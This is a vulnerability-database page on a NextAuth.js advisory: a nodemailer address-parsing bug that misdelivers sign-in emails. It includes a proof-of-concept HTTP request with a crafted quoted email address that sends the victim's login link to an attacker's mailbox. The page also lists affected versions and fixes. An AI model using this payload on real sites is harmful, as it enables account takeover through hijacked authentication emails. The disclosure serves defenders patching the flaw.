Read the docs
TI-2025-43812 Aliases GHSA-5jpx-9hw9-2fx4

NextAuthjs Email misdelivery Vulnerability

Priority LOW 38CWE-200Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Information disclosure
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-200.

Summary

### Summary NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as: ``` "[email protected]"@victim.com ``` is parsed incorrectly and results in the message being delivered to `[email protected]` (attacker) instead of `"<[email protected]>@victim.com"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim. <h2>Affected NextAuthjs Version</h2> ≤ Version | Afftected -- | -- 4.24.11 | Yes 5.0.0-beta.29 | Yes ## POC Example Setup showing misdelivery of email ```jsx import NextAuth from "next-auth" import Nodemailer from "next-auth/providers/nodemailer" import { PrismaAdapter } from "@auth/prisma-adapter" import { prisma } from "@/lib/prisma" export const { handlers, auth, signIn, signOut } = NextAuth({ adapter: PrismaAdapter(prisma), providers: [ Nodemailer({ server: { host: "127.0.0.1", port: 1025, ... }, from: "[email protected]", }), ], pages: { signIn: '/auth/signin', verifyRequest: '/auth/verify-request', }, }) ``` ```jsx POST /api/auth/signin/nodemailer HTTP/1.1 Accept-Encoding: gzip, deflate, br, zstd Cache-Control: no-cache Connection: keep-alive Content-Length: 176 DNT: 1 Host: localhost:3000 Origin: http://localhost:3000 Pragma: no-cache Referer: http://localhost:3000/auth/signin Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 accept: */* accept-language: en-US,en;q=0.9,ta;q=0.8 content-type: application/x-www-form-urlencoded sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" x-auth-return-redirect: 1 email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin ``` <img width="1247" height="1408" alt="Screenshot from 2025-10-25 21-15-25" src="https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f" /> <img width="1279" height="1450" alt="Screenshot from 2025-10-25 21-14-47" src="https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f" /> # Mitigation Update to nodemailer 7.0.7 ## Credits https://zeropath.com/ Helped identify this security issue

Why it matters now

Fix Fixed next-auth (npm): 4.24.12, 5.0.0-beta.30

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—next-auth (npm)before 4.24.124.24.12Patch availableGHSA-5jpx-9hw9-2fx4
—next-auth (npm)5.0.0-beta.0 to before 5.0.0-beta.305.0.0-beta.30Patch availableGHSA-5jpx-9hw9-2fx4
  • next-auth (npm) Vendor— Affected before 4.24.12 Fixed in 4.24.12 Patch available GHSA-5jpx-9hw9-2fx4
  • next-auth (npm) Vendor— Affected 5.0.0-beta.0 to before 5.0.0-beta.30 Fixed in 5.0.0-beta.30 Patch available GHSA-5jpx-9hw9-2fx4

Remediation

  • Fix · GHSA-5jpx-9hw9-2fx4 next-auth (npm) Fixed in 4.24.12 Advisory →
  • Fix · GHSA-5jpx-9hw9-2fx4 next-auth (npm) Fixed in 5.0.0-beta.30 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-5jpx-9hw9-2fx4

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences